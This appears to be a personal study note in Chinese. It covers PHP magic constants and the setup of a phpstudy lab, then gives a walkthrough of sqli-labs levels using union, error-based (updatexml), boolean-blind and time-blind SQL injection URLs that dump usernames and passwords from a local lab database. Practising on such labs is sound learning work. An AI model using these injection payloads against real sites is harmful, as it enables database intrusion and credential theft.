魔术常量
- __ LINE __:文件中的当前行号
- __ FILE __:文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名。
- __ DIR __:文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录。
- __ FUNCTION __:返回该函数被定义时的名字
- __ CLASS__:返回该类被定义时的名字
- __ TRAIT__:代码复用的一个方法,称为 traits,该常量返回Trait 的名字
- __ METHOD__:返回该方法被定义时的名字
- __ NAMESPACE__:当前命名空间的名称
web环境搭建记录
参考资料
web服务器搭建(可跳过直接部署phpstudy,此处由于这里的配置后续phpstudy部署后仍然无法访问index.php “没注意当时是否用了https“):https://www.cnblogs.com/djjv/p/13976359.html
注1:Linux初始化时IP地址获取需要配置
cd /etc/sysconfig/network-scripts/
vi ifcfg-ens3//修改ONBOOT=yes
//:wq 保存并退出
service network restart //重启网卡
注2:在Linux防火墙功能开启时,无法访问到index.html
systemctl stop firewalld //防火墙关闭
phpstudy
发现此时还没有php环境无法访问index.php文件,想到我们可以直接部署phpstudy:https://blog.naibabiji.com/tutorial/linux-phpstudy-zhuang-wang-zhan.html
CentOS系统复制下面脚本执行:
yum install -y wget && wget -O install.sh https://download.xp.cn/install.sh && sh install.sh
Debian/Ubuntu/深度系统执行下面脚本:
wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh
phpstudy安装完毕:
=安装完成==
请用浏览器访问面板:
外网:http://171.219.171.131:9080/A04B1A
内网:http://ip:9080/A04B1A
系统初始账号:admin
系统初始密码:
官网:https://www.xp.cn
如果使用的是云服务器,请至安全组开放9080端口
如果使用ftp,请开放21以及30000-30050端口
===========================================
问题:无法连接同步服务器
解决:重启主机
安装php、mysql等并部署网站后使用http://ip访问即可(注:不是https)
sqli部署
解压sqli_lab在网页目录下,修改wwwroot/sqli-labs-master/sql-connections/db-creds.inc文件dbpass内容并在网页下通过
创建需要的数据库即可
解题
Less 1–字符型
#和 – (有个空格)表示注释,可以使它们后面的语句不被执行。在url中,如果是get请求**(记住是get请求),也就是我们在浏览器中输入的url)** ,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用–+的方式来闭合,因为+会被解释成空格。
http://192.168.208.128/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
http://192.168.208.128/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+
Less 2–数字型
http://192.168.208.128/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+
Less 5–字符型(报错注入)
updatexml函数
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径(改为非XPATH路径会报错,而我们此时就需要获取报错的数据库信息)
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
http://192.168.208.128/sqli-labs-master/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
Less 8 --字符型(bool盲注)
http://192.168.208.128/sqli-labs-master/Less-8/?id=1’ and left((select database()),8)=‘security’–+
Less 9–字符型(时间盲注)
?id=1’ and sleep(5) --+ 有延时
left从左边第一个字母开始,判断库名第一个字母是什么
?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+
?id=1’ and if(left(database(),8)=‘security’,sleep(5),null)–+
表名
http://192.168.208.128/sqli-labs-master/Less-9/?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)=‘users’ , sleep(3), 1) --+
列名
http://192.168.208.128/sqli-labs-master/Less-9/?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘username’, sleep(3), 1) --+
d=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘username’, sleep(3), 1) --+